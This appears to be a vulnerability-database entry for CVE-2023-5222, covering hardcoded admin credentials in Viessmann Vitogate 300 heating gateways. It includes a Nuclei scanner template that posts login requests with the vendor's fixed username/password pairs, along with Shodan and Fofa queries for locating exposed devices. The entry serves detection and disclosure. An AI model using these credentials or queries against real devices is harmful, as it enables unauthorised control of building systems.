SecurityContext

CVE-2023-5222: Viessmann Vitogate 300 - Hardcoded Password

Classification

  • Cwe: CWE-259
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.80402
  • Epss percentile: 0.99631
  • Cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="Vitogate 300"
  • Max-request: 2
  • Product: vitogate_300_firmware
  • Shodan-query: title:"Vitogate 300"
  • Vendor: viessmann
  • Verified: yes

Products

ProductIndexedUrl
viessmann:vitogate_300_firmwareyes/v1/products/viessmann/vitogate_300_firmware

Labels

  • Name: Viessmann Vitogate 300 - Hardcoded Credentials
  • Impact: Attackers can authenticate as legitimate users, gaining unauthorized access and control over the system.
  • Remediation: Update to the latest firmware version where this issue is fixed or contact Viessmann for security patches.
  • Vulnerability type: hardcoded_credentials
  • Vulnerability impact: privilege_escalation, information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-5222
  • Not known: requirements

```yaml

id: CVE-2023-5222

info:

name: Viessmann Vitogate 300 - Hardcoded Password

author: ritikchaddha

severity: critical

description: |

A critical vulnerability in Viessmann Vitogate 300 up to 2.1.3.0 allows attackers to authenticate using hardcoded credentials in the Web Management Interface.

impact: |

An attacker could potentially gain unauthorized access to the device.

remediation: |

Update the device firmware to remove the hardcoded password or change it to a strong, unique password.

reference:

- https://vuldb.com/?ctiid.240364

- https://vuldb.com/?id.240364

- https://nvd.nist.gov/vuln/detail/CVE-2023-5222

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2023-5222

cwe-id: CWE-259

epss-score: 0.80402

epss-percentile: 0.99631

cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

shodan-query: title:"Vitogate 300"

fofa-query: title="Vitogate 300"

vendor: viessmann

product: vitogate_300_firmware

tags: cve,cve2023,viessmann,vitogate,default-login,vkev,vuln

http:

- raw:

- |

POST /cgi-bin/vitogate.cgi HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{"method":"put","form":"form-login","params":{"uid":"{{username}}","pwd":"{{password}}"}}

attack: pitchfork

payloads:

username:

- vitomaster

- vitogate

password:

- viessmann1917

- viessmann

stop-at-first-match: true

matchers-condition: and

matchers:

- type: word

part: body

words:

- 'admin":true'

- '"sessionId":'

condition: and

- type: word

part: content_type

words:

- 'application/json'

- type: status

status:

- 200

digest: 4b0a00483046022100d5a73aee45bafc7641e66bbb92bc0bc3e5199af7834adcccba0f25a28d269790022100cfcc2d354b4f70c89b71ad0d66efd9b3cb7b5fc98bd45a3640b27f9273fb045e:922c64590222798bb761d5b6d8e72950

```